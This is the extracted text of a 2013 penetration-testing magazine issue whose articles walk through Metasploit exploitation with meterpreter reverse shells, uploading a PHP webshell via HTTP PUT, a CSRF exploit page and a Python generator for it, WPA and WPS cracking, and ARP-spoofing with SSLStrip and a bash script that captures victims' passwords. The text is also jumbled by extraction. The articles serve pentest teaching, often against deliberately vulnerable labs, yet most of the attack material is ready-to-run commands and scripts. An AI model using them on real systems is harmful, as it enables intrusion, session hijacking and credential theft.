msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show targets ...targets... msf exploit(ms08_067_netapi) > set TARGET <target-id> msf exploit(ms08_067_netapi) > show options ...show and set options... msf exploit(ms08_067_netapi) > exploit

...show and set options... msf payload(meterpreter_reverse_tcp) > run

This will facilitate an interactive meterpreter session of the web server which could be exploited further for privilege escalation. Web Application Fuzzing A pentester should employ various means to bypass authentication and authorization restrictions in a Web Application. Cookie Stealing by using Cross Site Scripting attacks may allow the attacker to hijack a valid user session. SQLi may provide database access, and CMS vulnerability exploitation can give website control to the attacker. Based on the version/vulnerabilities in CMS detected in the previous phase, an attacker can launch exploits on the CMS. Business Logic Bypass/Fuzzing can allow an authenticated user to escalate his privileges. Most of the times applications authenticate a user from the database and then authorize the user to certain roles based on the cookie value set for him. Such a loosely binded authorization model can be exploited by tampering cookie values (using Zed Attack proxy, burp-suite, firebug, or tamper data) to that of an administrator so as to gain administrator privileges (Figure 8).

Exploiting dangerous http methods discovered in the reconnaissance phase: The PUT method discovered in the recce phase can be exploited to upload a php web shell on the web server.
Nc 172.26.1.2 80 PUT /evil.php HTTP/1.0 Content-type: text/html Content-length: 250

Figure 8. Cookie tampering using Tamper Data

The uploaded webshell will be available at http://172.26.1.2/evil.php which in turn will provide access to file system of the web server. Instead of a webshell evil.php can also be used as a metasploit php payload.
msf > use payload/php/meterpreter_reverse_tcp msf payload(meterpreter_reverse_tcp) > show options

Exploiting Anonymous Login A pentester should look for anonymous ftp or anonymous ssh login possibilities in the target servers. Nmap and metasploit has NSE (Nmap Scripting Engine) scripts and auxiliaries respectively for searching and exploiting such vulnerabilities. Logging in to Anonymous FTP is presented in Listing 5. Exploiting FTP/SSH Server: Post logging in to the FTP/SSH Server one could PUT/WGET a local privilege escalation exploit and execute it to get the server shell. Exploiting SMTP Open Relay A pentester should evaluate if the SMTP mail server is vulnerable to mail relaying. A vulnerable SMTP open relay server doesnt verify if the user is
http://pentestmag.com

OPEN 08/2013

Page 23

authorized to send e-mail from the specified e-mail address. Therefore, an attacker could spoof or impersonate any e-mail address for sending e-mails. The following nmap NSE script can be used to find open relay mail servers:
nmap --script smtp-open-relay.nse [--script-args smtp-open-relay.domain=<domain>,smtp-openrelay.ip=<address>,...] -p 25,465,587 <host>

References

http://nmap.org http://www.offensive-security.com

Summary

The following metasploit auxiliary can be used to scan open relay mail servers:
msf > use auxiliary/scanner/smtp/smtp_relay msf auxiliary(smtp_relay) > show actions ...actions... msf auxiliary(smtp_relay) > set ACTION <action-name> msf auxiliary(smtp_relay) > show options ...show and set options... msf auxiliary(smtp_relay) > run

Social Engineering Social Engineering attacks like phishing, baiting, impersonating, tab-nabbing, click-jacking, and so on, can be employed for human exploitation.
Listing 5. Logging in to Anonymous FTP
ftp 172.26.1.5 Connected to 172.26.1.5 220 Welcome to my FTP service. Name (172.26.1.5:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls

Penetration testing of an organization puts various controls of its security architecture to test. It is not just checking the existence of required controls but that the controls are appropriate and sufficient to mitigate the overall risk. In order to evaluate a layered defence, a multi pronged attack approach is required to find an entry point. A typical pentesting attack comprises of three phases reconnaissance, vulnerability detection, and exploitation. The reconnaissance phase focuses on information gathering about the target environment, the vulnerability detection phase is meant for exploring vulnerable ports and services on discovered hosts and the idea of the exploitation phase is to exploit the detected vulnerabilities. A well equipped security fortress can also be penetrated by a small hole. It just requires hard work, knowledge, and experience.

Logging in to Anonymous SSH: ssh 172.26.1.10 -l anonymous anonymous@172.26.1.10s password: Last login: Fri Sep 13 23:24:27 2013 from 192.168.5.7 -bash-3.2$ ls

MS Information Security and Cyber Law, CISSP, CISA, STQC-CISP, ISMS LA, C|HFI, E|CSA, C|EH is Team Lead at a renowned Cyber Incident Response Team (CIRT). He has undertaken many Cyber Forensics Investigations, Vulnerability Assessment, and Penetration Testing assignments during his experience of seven years in this domain. He can be reached at sumit.agarwal83@gmail.com.
Page 24

SUmiT AgaRwal

OPEN 08/2013

http://pentestmag.com

Now Hiring
Teamwork Innovation Quality Integrity Passion

Compliance, Protection
and

Sense of Security

Sense of Security is an Australian based information security and risk management consulting practice. From our offices in Sydney and Melbourne we deliver industry leading services and research to our clients locally, nationally and internationally. Since our inception in 2002, our company has performed tremendously well. We thrive on team work, service excellence and leadership through research and innovation. We are seeking talented people to join our team. If you are an experienced security consultant with a thorough understanding of Networking, Operation Systems and Application Security, please apply with a resume to careers@senseofsecurity.com.au and quote reference PTM-TS-12.

info@senseofsecurity.com.au www.senseofsecurity.com.au

Automating POSTMethod CSRF Attacks


Of the various implementation flaws that are commonly found on web-applications, CSRF (Cross-Site Request Forgery) is one of the lesser-known, and as such, more frequently overlooked vulnerabilities. Unlike common server-side vulnerabilities (SQL injection, directory traversal, file-inclusion, etc), CSRF attacks do not directly attack the server. It is often compared to XSS (Cross-Site Scripting), but reallythis isnt accurate either.

Article comes from Pen Test WEBAPP. Download the complete issue.

SS exploits a vulnerability on a target server to access, manipulate, and exploit data on the client-side. Really, CSRF does just the opposite. CSRF uses an unsuspecting client systems browser to manipulate data and/or perform unauthorized transactions on the server-side (although this data is often unique to the users account, profile, session, and so on). In this essay, I am going to discuss what a CSRF attack is, the distinction between GET-method and POST-method CSRF vulnerabilities, and how to streamline the exploitation process for more effective testing.

exactly what happens in a CSRF attack. The webbrowser of the client system acts as the confused deputy. There are several steps involved in a successful CSRF attack: The client web-browser must be trusted and authorized to access and manipulate certain content within the web-application (in the same way that the deputy was a trusted agent at the building). This is usually accomplished by some sort of authentication mechanism, such as a user login portal. The parameters of the transaction will be supplied by an unauthorized third party (in the same way that the deputys idea to perform that malicious task was inspired by the intruder). This can be accomplished in various different ways to include iframe injection or social engineering. The transaction will be completed without question because of the session ID and cookies supplied by the client browser (in the same way that the deputy could complete the task without question because of his position of authority).

What is Cross-Site Request Forgery?

Cross-Site Request Forgery is commonly referred to as a confused deputy attack. This terminology paints an accurate picture of what is going on in the background. Consider a scenario in which a malicious person, who does not have access to a certain building, desires to gain access to that building to accomplish a particular task. Guarding the building, there is a deputy who has authorization to get inside. One approach could be to charge the building with guns blazing, but this will most likely not end well for anyone. A more effective strategy would be for the malicious person to devise a scheme in which he tricks the deputy into performing the desired task on his behalf. This is
OPEN 08/2013

Lab Environment for CSRF Attacks

In this essay, I am going to address CSRF attacks using both GET and POST HTTP methods. Both of the applications that I am going to use to
http://pentestmag.com

Page 26

demonstrate these attacks are publically available for download and use. The first web-application that I will be using is DVWA, which is available at http:// www.dvwa.co.uk/. The second web-application is Mutillidae, which is available at http://www.irongeek. com/i.php?page=mutillidae/mutillidae-deliberatelyvulnerable-php-owasp-top-10. Each of these is a deliberately vulnerable web-application that can be hosted within your own lab environment and can be used for penetration testing training and research. However, to save yourself the frustration of having to setup and configure each of these web-applications independently, I recommend that you just download Metasploitable2. Metasploitable2 is a Linux server that is also intentionally vulnerable. Both of the discussed web-applications are already configured on the server upon install, and can be accessed via the HTTP service hosted on TCP port 80. Metasploitable2 can be downloaded at http://sourceforge.net/ projects/metasploitable/files/Metasploitable2/.

GET Method CSRF Attack

The easiest CSRF vulnerabilities to exploit are those that involve modifying parameters that can be supplied to a server via a GET request. This is an ex-

Figure 1. DVWA application to update admin password

tremely critical vulnerability because it can be exploited without the use of any special tools or scripting. I will use DVWA to demonstrate such a scenario. After logging in to the application with the administrator account, select the DVWA Security option and set the security level to low. Then select the CSRF option on the left side of the page. You will notice that a webapplication is displayed that can be used to update the password for the admin user account. See Figure 1 for an image of the web-application. For the purpose of this exercise, I have decided to update the password to password and have entered it into both fields. Prior to submitting a request, I configured Burp Suite to function as an intercepting proxy to capture the request that would be sent to the server to update the password. Figure 2 shows the GET method request that was submitted. Notice that both of the parameters (password_ new and password_conf) are actually passed as arguments in the relative URL that is displayed in the GET request. As you might imagine, this vulnerability can be exploited by simply crafting a link with hardcoded parameters and then enticing an authenticated user to browse to that link. Lets suppose that a malicious intruder wants to trick the administrator into updating his password to a new password that the intruder has chosen (in this case, we will use badguypass). He could simply create the following hyperlink: http://192.168.223.132/dvwa/vulnerabilities/csrf/?password_new=badguypass&password_ conf=badguypass&Change=Change. Once the link is created, the intruder could use some well-crafted social engineering techniques to persuade the victim to click on the link. As soon as the victim browses to the site, the parameters are supplied in conjunction with the users session ID and cookies. The victims password is then automatically updated without his consent.

Figure 2. GET request to update admin password in DVWA


OPEN 08/2013 Page 27

http://pentestmag.com

Although we do live in a world where most webdevelopers are not extremely security conscious, they at least understand enough about the applications functionality to realize that this sort of approach to performing a secure transaction is a huge mistake. Because of this, you will not commonly see this sort of CSRF vulnerability in the wild. It is much more likely that you will run into CSRF vulnerabilities that are associated with the use of the HTTP POST method. Mutillidae provides a good example of a POST method CSRF vulnerable web-application. To get started, open up Mutillidae in the web-browser and then browse through the menu OWASP Top 10 > Cross Site Request Forgery > Register User. Using this first application, you should create a user account that can be used to simulate the CSRF victim. Once you have completed the form, select the Create Account button. Then browse through the menu once again OWASP Top 10 > Cross Site Request Forgery > Add to your blog. A blogging web-application will be displayed. Take note of the fact that we have not yet logged in with an account and that the blog is currently set to anonymous. This will change after we log in with the user account we previously created. However, prior to logging in, you will need to use a local intercepting proxy to capture the POST request that is supplied when submitting a blog entry. We will then use this template to build our CSRF attack. Figure 3 shows the POST request form that is submitted when I submit a blog entry of TEST. Notice that, unlike the GET request that was used by DVWA, the parameters here are not supplied to the server within the relative path or the URL. Instead the parameters are supplied as POST

POST Method CSRF Attack

method data that can be seen at the bottom of the request. This makes a successful attack more difficult, since you cant simply provide a modified link to an unsuspecting victim. Instead, we need to figure out a way to have the victim submit a POST request to the vulnerable server with all necessary POST data included. One way to accomplish this task is to host a malicious webpage that will use embedded script(s) to supply the data. The example that I am going to provide was done in BackTrack 5 R3. First, I started the Apache HTTP service on my BackTrack system by browsing through the main menu Applications > Backtrack > Services > HTTPD > apache start. The default webroot directory in this distribution of BackTrack is located in /var/www/. So this is the location where we will need to create our malicious site. To do this, change the current directory and then use your preferred text editor to generate the file.
cd /var/www/ nano evil.html

An example of an HTML file with embedded JavaScript that could be used to perform the CSRF attack against this Mutillidae application can be seen in Listing 1. In the case that an unsuspecting user browses to this HTML code, the JavaScript will execute on their system. It will redirect them to the location specified in the action field and will supply the POST parameters specified by the following input fields. Their browser will submit any cookies and session-ids established with the vulnerable server in order to complete the CSRF transaction. To test this attack, browse to the top of the Mutillidae application and select Login/Register to log into the victim account that you had previously

Figure 3. POST request for blog entry submission in Mutillidae


OPEN 08/2013 Page 28

http://pentestmag.com

registered. Now look at the blog associated with this user. Because this is the first time logging in with this account and because the blog is user-specific, there should be no posts at this time. Now suppose that some malicious third party sent a link to the web-page that is now hosted on the BackTrack system. You can simulate this by browsing to the malicious web-page at http://127.0.0.1/evil.html. Upon doing this, you will be redirected back to the blog

page and should notice that a new blog entry has been created without your consent, and the contents of this blog entry contains the same text that was supplied by the blog_entry POST parameter in the JavaScript. In this way, an unauthorized transaction was completed without the consent of the user, by browsing to the malicious web-content (see Figure 4). Consider the potential implications of this type of vulnerability, given the types of transactions

Listing 1. HTML and JavaScript to exploit Mutillidae POST method CSRF vulnerability
<html> <head> <title></title> </head> <body> <form name=csrf method=post action=http://192.168.223.132/mutillidae/index.php?page=add-toyour-blog.php> <input type=hidden name=csrf-token value=SecurityIsDisabled /> <input type=hidden name=add-to-your-blog-php-submit-button value=Save+Blog+Entry /> <input type=hidden name=blog_entry value=HACKED /> </form> <script type=text/javascript> document.csrf.submit(); </script> </body> </html>

Figure 4. Execution of unauthorized transaction in Mutillidae via CSRF attack


OPEN 08/2013 Page 29

http://pentestmag.com

that are often completed by POST parameters profile changes, online purchases, banking transactions, and so on.

Automating POST Method CSRF

In testing for CSRF vulnerabilities, I have discovered that this template can be effective to exploit

Listing 2. CSRF Generator Python Script to automate POST method CSRF exploitation testing
#!/usr/bin/python print \n********** CSRF HTML/JAVASCRIPT GENERATOR - H@ck1tHu7ch **********\n\n print USE: This script is intended to generate malicious HTML code with an imbedded javascript, \ nthat can be used to perform POST-based CSRF (Cross-site Request Forgery) attacks. \nPrior to using this script, ensure that the apache HTTP service is running \nand that the webroot for this service is located at /var/www. \n\n\n*****************************************\n\n url = raw_input(Enter the URL of the CSRF vulnerable target:\n) params = raw_input(\nEnter the number of POST paramters to be supplied:\n) html = raw_input(\nEnter the filename to be generated (example - evil.html):\n) filepath = /var/www/ + html dict = {} i=0 while (i < int(params)): i = i+1 print \n\n*** PARAMETER # + str(i) + ***\n name = raw_input(Enter the NAME of parameter + str(i) + :\n) val = raw_input(Enter the VALUE of paramter + str(i) + :\n) dict[str(name)] = str(val); file = open(filepath, a) file.write(<html>\n) file.write(<head>\n) file.write(\t<title></title>\n) file.write(</head>\n) file.write(<body>\n) file.write(\t<form name=csrf method=post action=+url+>\n) for x in dict: file.write(\t\t<input type=hidden name=+x+ value=+dict[x]+ />\n) file.write(\t</form>\n) file.write(\t<script type=text/javascript>\n) file.write(\t\tdocument.csrf.submit();\n) file.write(\t</script>\n) file.write(</body>\n) file.write(</html>\n) file.close() print \n*** The script has written the HTML code to the file + filepath + \nand should be accessible via the web-browser at \nhttp:\\\\127.0.0.1\\ + html + ***\n print \nTo complete CSRF attack, entice the victim (who has already established \na trusted session on his/her browser) through social engineering or \niframe injection, to browse to the malicious site\n\n

OPEN 08/2013

Page 30

http://pentestmag.com

most POST method vulnerabilities. To save the time of having to develop unique HTML/JavaScript code for each instance of a POST method CSRF vulnerability, I have developed a Python script that will actually write the HTML code itself and will automatically place it in the /var/www/ directory. This script can be seen in Listing 2. There are two major functional parts of this script. The first part of the script gathers user supplied input regarding the vulnerable URL, the number of POST parameters, and the name of the output HTML file. Each of these supplied values is then assigned to a variable within the python script. I have also used a while loop to loop through the number of POST parameters. For each parameter, user input is requested to include both the name and value. These are then placed into a dictionary called dict. The second functional part of the script is the part that actually generates the HTML output. Much of this is hardcoded. However, the previously supplied user input from the first part is also used to help generate the file. The previously supplied URL is supplied by calling on the url variable. And a for loop is used to write each of the POST parameters from the dictionary into the HTML content. Upon running this script, you can then test the CSRF exploit in the same way that we had done in the previous example.

Justin Hutchens (OSCP, CISSP, CNDA, CEH, ECSA, CHFI) previously worked for the United States Air Force as a network vulnerability analyst. During that time, he supported a large enterprise network with over 55,000 networked systems and performed a wide range of tasks to include vulnerability assessments, intrusion detection, and incident response. He currently works as a security consultant and performs security assessments and penetration tests for both corporate and government clients. He was also the writer and developer of Kali Linux Backtrack Evolved: Assuring Security by Penetration Testing, a video training series that covers the entire penetration testing process using the Kali-Linux operating system. This course is currently available from Packt Publishing (www.packtpub.com). Justin is available for contact at www.linkedin.com/in/justinhutchens.
OPEN 08/2013

ABOUT THE AUTHOR

Basic Black Hat Recon with Wireshark


Picture the situation: You wake up in a locked room, no windows, no signs of where you are, the door is locked and all you have is your trusty laptop and cat 5 network lead coming out of the wall. What do you do? OK, it is a little far-fetched but you get the point. On unknown networks and black hat testing, Wireshark is a musthave tool to find critical information about your surroundings, infrastructure and potential vulnerabilities.
or the purposes of this tutorial I am running Kali 64 bit KDE, although other options (Backtrack 5 etc.) are available, I find this operating system and tool set the best for my day to day cyber-security life.

Article comes from Pen Test EXTRA. Download the complete issue.

Im Listening...

First thing is first, I want to confirm that the network connection is live, and find out as much information as to what other equipment is on the network. Now, all network settings should never be set to auto-connect, thus I can start Wireshark listening on eth0 (my primary network card) and connect the network lead without sending any outbound data on the unknown network. Wireshark is an open source packet capture application, capable of listening and recording both transmitted and received data from Ethernet cards, fibre cards, USB and virtual devices. The default view within the GUI interface, starting at the top down is Packet List: This shows real-time and historical packets sent and received on the interface, Packet Details: An easy to read the breakdown of a selected packet of data with source, destination and contents, and finally Packet Bytes: The raw packet in its byte format. Once we have connected up the lead, traffic starts flooding in at regular intervals. Cisco and JuOPEN 08/2013

niper switches are notoriously chatty in their default configuration. It is usually possible to determine the type of kit in use on a network just by listening to port responses and network broadcasts. With switch heart beats and appliance discovery traffic, our view of the network infrastructure starts to expand.

Figure 1. The main wireshark interface

After sitting and waiting for a while we start to see more traffic on the LAN, which can provide us with details on IP structure and addressing in use. Wireshark can capture both network broadcast traffic, and by the use of ARP poisoning (discussed later) direct point to point traffic for use in
http://pentestmag.com

Page 32

man in the middle. However, with the majority of Windows networks, the workstations and servers are always advertising themselves in broadcast mode. The image below shows a Windows 7 workstation booting up and announcing its presence on the network. By reviewing the packets content in the bottom window we can determine the workstations name is ITHC-PC and it is presently part of a domain called INFOSEC0. For the keen eyed, we can see the default IP address of a network card pre-DHCP request. The MAC Address is also visible (we should make a note of this for later in case MAC filtering is in use on the network). Our newly discovered host has successfully picked up an IP address proving the use of DHCP on the network.

tive and become a part of the network. Using a handy Virtual Machine that we can re-name and change the details of, we can replicate and Ghost a machines connection to the LAN and start running our usual passive port scans, ARP poisoning to capture NTLMs, FTP and telnet credentials and associated user accounts including internet traffic.

Something in the air...

If the Cat 5 lead was a dud, and we have no connection through wired means then it is time to flick on the Wireless switch and start listening to the traffic drifting through the air. Again this is easy through wireshark, as our interface listing earlier included wireless interfaces. In my case its wlan1 (an Alfa networks AWUS036H USB wireless dongle). Previous tutorials have covered the method of capturing wireless access point details, devices connecting to wireless, hand-shakes in WEP, WPA and WPA2. There are two popular methods of locating authentication details to access points in a black hat world. I stress that these must only be used on a network where you have permission to perform a hack attempt, or if you believe your life is in danger and you are locked in a windowless room with just your laptop for company...

Traditional method WPA2

Figure 2. Netbios name packets and DHCP request capture

As further time progresses we can also detect other workstations, domain controllers, domain name, user accounts and even broadcasts from a particular vendor for antivirus updates. All the time we are collecting more and more reconnaissance and gathering a mental picture of our surroundings. In the majority of corporate networks I have scanned it is possible to determine the company name from the domain name. In some organisations the server naming conventions can indicate the target servers purpose. Examples include <London-DC1>, <ManchWSUS1>, <SophosSvr>, <FinanceDb> and even <CompanyIDS> etc.. For this reason I always recommend naming conventions that obfuscate potential server types. Now that we have ascertained host names, IP addresses, default gateway and even user accounts, we can now monitor for a host to take the role of. By replicating the name, IP and MAC address of a workstation we can now turn from passive to acOPEN 08/2013

Patience is a Virtue..

Briefly the tools required are airmon-ng, airodumpng to capture the wireless network names, encryption method and associated access points to listen to. Then use either airocrack-ng or hashcat to brute force crack the key. # ifconfig wlan2 down (turn off the wifi card so we can change the MAC) # macchanger -m 00:11:22:33:44:55 wlan2 (change the MAC address to 00:11:22:33:44:55 to maintain anonymity or change to a valid network MAC in the case of filtering) # ifconfig wlan2 up (turn the card back on with new MAC address) # airmon-ng start mon0 (this will start the card in monitor mode, it may complain over running services, if any errors occur after this point then please consider # kill <process id> for those offending) # airodump-ng mon0 (this will start listening for both Wireless access points and wireless stations with Wi-Fi enabled and associated access points. Control+C out of the search when you have located a suitable access point to attempt to attach to, also check there
http://pentestmag.com

Page 33

are associated stations with that access point to intercept the hand-shake.) Best to open a new terminal window so we flick between our access point and station list, and the upcoming commands.
# airodump-ng mon0 -c <channel> --bssid <MAC of BSSID> -w saveme.txt mon0

WPS Method WPA/2

The tools required for WPS cracking are airmonng, wash and reaver: # ifconfig wlan2 down (turn off the wifi card so we can change the MAC) # macchanger -m 00:11:22:33:44:55 wlan2 (change the MAC address to 00:11:22:33:44:55 to maintain anonymity or change to a valid network MAC in the case of filtering) # ifconfig wlan2 up (turn the card back on with new MAC address) # airmon-ng start mon0 (this will start the card in monitor mode, it may complain over running services, if any errors occur after this point then please consider # kill <process id> for those offending) # wash -i mon0 --scan (This starts wash in active probe and scan mode. It will send packets to all access points visible and display those vulnerable to WPS testing with details on BSSID, channel, ESSID and WPA version) # reaver -i mon0 -b <BSSID target> --v --fail-wait=360 (This starts a brute force WPS number check on the BSSID target, providing verbose information so we can confirm it is working and waiting 360 seconds after a failure to connect. This is usually sufficient for routers that have a failed authentication protection level before allowing a re-connect). In my experience Reaver usually takes up to 8 hours to complete a scan and provide a WPS key for most wireless networks.

(now we limit our traffic capture to one access point and start writing to a file we will later attempt to crack). Once again we sit and wait for traffic to accumulate and for a WPA handshake message to confirm we have the data we need to play with. Should you become impatient you can force a station to de-authenticate from the access point with the following command:
# aireplay-ng -0 2 -a <BSSID> -c <station MAC> mon0

(this sends two de-authentication commands between the access point and station forcing a reauthentication to occur) The captured handshake cannot be brute forced using John, hashcat etc. I have a reasonably powerful nVidea graphics card so I can use hashcat and my GPU for processing. Hashcat requires the capture file to be in its own hccap file format. The following will clean and create an .hccap file for us:
# wpaclean <out.cap> <in.cap> # aircrack-ng <out.cap> -J <out.hccap>

We are In!!!!

To use a wordlist:
# /usr/share/oclshashcat-plus/cudaHashcat-plus64. bin -m 2500 <out.hccap> <passwordlist.txt>

(The -m 2500 is the format of the hash we are cracking 2500 is WPA, 1000 is NTLM) To Brute force an 8 character password in lowercase, uppercase, numerical and special, use the following, but be prepared for a very long wait...
# /usr/share/oclshashcat-plus/cudaHashcatplus64.bin -m 2500 <out.hccap> -1 ?l?u?d?s ?1?1?1?1?1?1?1?1 ( -1 is our variable, ?l lowercase, ?u uppercase, ?d digits, ?s special characters)
OPEN 08/2013

Once we have successfully authenticated to the wireless network (again bear in mind the use of MAC address filtering) we can set wireshark in to monitor mode and capture traffic until our heart is content. On busy networks be aware capture files (.cap) can become Gigabytes in size over a relatively short amount of time.

Interception...

Although most networks are very noisy and we can usually pick up a lot of information by just passively listening, in our scenario we want to be more pro-active and learn a little more about our captors and start intercepting traffic. If we can capture usernames, passwords, URLs and intercept traffic we can start to own our target network. This is a standard Man in The Middle (MiTM) type attack.
http://pentestmag.com

Page 34

We are going to route all traffic through our laptop by poisoning the ARP Traffic. This can be done by starting Wireshark first of all to capture all poisoned traffic. The first example is to only poison 1 host and attempt to capture all traffic between it and the gateway.
# arpspoof -t <VICTIM IP> <GATEWAY IP>

crypted SSL traffic. For example if a user is using a popular web based email system we cannot see any of the username, passwords or content of https traffic. To solve this little issue we can use SSLStrip.
# echo 1 > /proc/sys/net/ipv4/ip_forward # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # arpspoof -i wlan2 -t <VICTIM IP> <GATEWAY>

Wireshark contains several pre-configured search and filter options for detecting certain types of traffic. As mentioned previously we have items such as NTLM authentication, network broadcasts from servers and appliances, FTP traffic, ARP commands, device heartbeats, ICMP etc.. We can search for specific terms and packets easily under the Filter menu.

(ARP spoof basically tells the network to direct all traffic between our victim and the gateway via our laptop. Allowing us to intercept and record traffic with Wireshark and other tools.
<Open a new Terminal Window> # sslstrip -p -w /root/sslstrip.txt

WWW.YourTrafficIsMine

Although full traffic capture between the host and the gateway is good, we will not be able to see any en-

(This will direct all SSL post commands to our designated text file. This includes usernames and passwords to https login sites)

Figure 3. Capturing web traffic and SSL certificates as MiTM


OPEN 08/2013 Page 35

http://pentestmag.com

Note At the present time this does not always work for clients running Chrome/Chromium and Google logins because of the way it transmits https traffic. If you want to capture all http traffic in a nice list format you can open another new terminal and run the application urlsnarf:
Listing 1. The script for iptables

# urlsnarf -i wlan2 | grep http > /root/httplog. txt&

Our Wireshark session is still capturing all the traffic between the victim pc and gateway. It is also possible to extract all images and web pages from the packet capture file .pcap after the fact. Although on Kali Linux you will need to first perform an.

#!/bin/bash echo Howdy - this little script can poison all network traffic and route traffic this pc - including HTTPS. Consider this your warning... Any Password captured will be displayed when you kill the program with the letter q. Ok on with the show.... read -p Press a key to continue :o) echo -n Do you want to execute Wireshark when done? If yes, Press Enter read -e NOYES echo -n Do you want to extract pictures from the pcap via tcpxtract? If yes, Press Enter read -e XTRACT echo -n What interface to use? i.e. wlan0: read -e IFACE echo -n Name of Session? (name of the folder that will be created with all the log files): read -e SESSION echo -n Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: read -e GATEWAY echo -n Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: read -e VICTIM mkdir /root/$SESSION/ iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain #### BACKTRACK:python /pentest/web/sslstrip/sslstrip.py -p -w /root/$SESSION/$SESSION.log & echo Press S for a Traffic Status and Q to close nicely. sslstrip -p -w /root/$SESSION/$SESSION.log & iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt & ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$GATEWAY/ /$VICTIM/ $XTRACTtcpxtract -f /root/$SESSION/$SESSION.pcap -o /root/$SESSION/ $NOYESwireshark /root/$SESSION/$SESSION.pcap & ### Clean up.... killall sslstrip #####BACKTRACK: killall python killall urlsnarf iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain etterlog -p -i /root/$SESSION/$SESSION.eci

OPEN 08/2013

Page 36

http://pentestmag.com

# apt-get install tcpxtract

When connected to the internet. Save the packet capture to a file on your laptop in the default .pcap format and create a new subdirectory for all of the images and html web pages and video.
# mkdir /root/Capture # tcpxtract -f /root/packetcap.pcap -o /root/Capture/

If you struggle with the ARP Spoof application it is possible to use iptables. Although in my experience on wireless this can struggle to ARP the whole network. Listing 1 consists of a handy script I found on the internet that has been modified to suit our re-quirements.

Whos calling?

With a pre-configured menu for locating both encrypted and non-encrypted Voice Over IP traffic, the value of Wireshark soon becomes clear. Protocols default supported include SIP, H323, ISUP, MFCP and UNISTIM. The core reason for

capturing this traffic is the ability to replay discussions and even video of captured conversations. Using the built in features it is possible to ascertain the start and stop times of calls, details of call initiator, any authentication types in use, including security certificates, the protocols in use and call status. If the network you are monitoring has heavy traffic and multiple calls going at once, it is possible to prepare a filter using the menu system and filter destination, source and protocol. To replay voice conversations we need to ARP poison the network as above, then save our capture file. So we will start with a brand new Wireshark capture and filter out some of the network noise so we have a better file to work with: From the main menu select Capture | Capture Filters.... On the Capture Filter Dialogue box select No Broadcast and No Multicast. From the main menu select Capture.... Once we are happy that we have captured some traffic and possibly a conversation we can use the Telephony menu and then VOIP Calls to select our traffic.

Figure 4. Replaying SIP Voice traffic with built-in tools


OPEN 08/2013 Page 37

http://pentestmag.com

The built-in player allows us to listen to the convesation (Figure 4).

It wasnt me!

Lets see those passwords...

We have been sitting and watching our network traffic for some time now, capturing traffic to a local file will allow dissemination and analysis both on-line and off-line. The most commonly used filter in Wireshark we can use is HTTP authentication. Although most web sites are now using SSL which encrypts traffic between the host and browser. Some older mail services and poorly managed sites will still allow non-encrypted logins. Also, lets face it most people use the same password for nearly every website, be it secure or not. The filter for these in Wireshark is http.authentic. Or in the example below, I just ran a string search for the word admin. By using the built-in filters (which self-populate with options when you start typing) we can see a list of all traffic used in authentication on insecure web pages. Review the items in the lower section of the console to see the content of a captured packet in both original HEX and translated English. The item below shows a captured http authentication packet to the network gateway a Netgear ADSL router. As we can see the username is admin, and the password is set to PasPassr5T (Figure 5).

Most definitely worth a mention is how Wireshark is used in my day-to-day life as a penetration tester. The forensics and recording value of wireshark provides me with a full record of all of my security assurance testing during a scan. This can prove to be invaluable when tracking down any issues reported with kit that has been scanned (and even those that are not). Many times I have had servers or appliances crash during the scanning progress and with the help of Wireshark I can either prove which commands or process caused the issue, or more importantly I can prove I was nowhere near the troublesome box at the time of a potential incident....

Sophlee Ltd Lee is an Information Assurance and IT Security professional and has worked on several programmes for HMG, MoD and NATO. He has extensive experience of: Pentesting and Vulnerability Assessments, HMG Security Policies, JSP440, RMADS, CESG InfoSec Memoranda, ISO27001, Security Policies and Procedures, Security Assurance, Accreditation Requirements, Risk Assessments. Email:lking@sophlee.com.

Lee AlexaNdeR KiNg

Figure 5. Web page password capture


OPEN 08/2013 Page 38

http://pentestmag.com

Pioneers in Synergistic Security


Reduced Compliance Cost + Improved Security

consulting
PCI & PA DSS QSA PCI ASV Scanning P2PE QSA & P2PE PA VA-PT Risk Assessment Forensics HIPAA & FISMA Compliance Managed Security Services

PCI DSS Implementation PCI DSS Awareness PA DSS Implementation Formal Risk Assessment OCTAVE Implementation OWASP Secure Code

Formal Risk Assessment Compliance Management Action Management Data Discovery Document Management

training

automation

Bypassing new generation Firewalls with Meterpreter and SSH Tunnels


During a recent penetration test I found a Windows host running a web application that let me execute code via an SQL injection error. The host was a Windows 2003 Server with an SQL Server 2005. It was part of a local area network (LAN), and my intention was to use it to pivot to other hosts on the LAN, up to create me an account of Domain Administrator and take possession of the entire Network.

Article comes from Pen Test EXTRA. Download the complete issue.

t this point, my attack vector was very clear: Upload and run a meterpreter payload to get a remote session.

Escalate privileges on the remote host. Capture the hash of the Administrator to use it on other hosts. Use a Delegation Auth Token of a Domain Admin user to impersonate it, and use it to create a Domain Administrator user. Use the host as gateway to access other hosts and servers on LAN. By testing the above attack vector, some problems were detected that had to be solved to achieve the ultimate goal. The main problem was that after getting up one reverse payload of meterpreter in the host and run it, the reverse connection did not reach its destination. My first thought was a firewall was blocking access to unusual ports, so I repeated the process this time using a payload trying to connect to port 80 of my machine, but neither worked. The same test using netcat worked, so I figured out that problem was related with the firewall blocking meterpreter packages probably for being a Deep Inspection Firewall with the signatures of meterpreter in its signature file.
OPEN 08/2013

To solve the problem, I used encryption, since a firewall can just inspect the packets in clear, but not encrypted. To ensure packets were encrypted end-to-end (from compromised machine to my local machine), I used an SSH tunnel, successfully achieving my goal of bypass that security barrier. In this article I will try to explain step by step all the processes involved to bypass the deep inspection firewall and achieve a meterpreter session with the remote host. The reason for wanting a meterpreter session is the ease with which you can escalate privileges and pivot to other hosts from Metasploit Framework. The process is summarized as follows: Raise the necessary tools to the remote host. Establish ssh tunnel forwarding the needed ports. Launch meterpreter payload through the tunnel. Receive meterpreter session on the other side of the tunnel.

How to upload the payload?

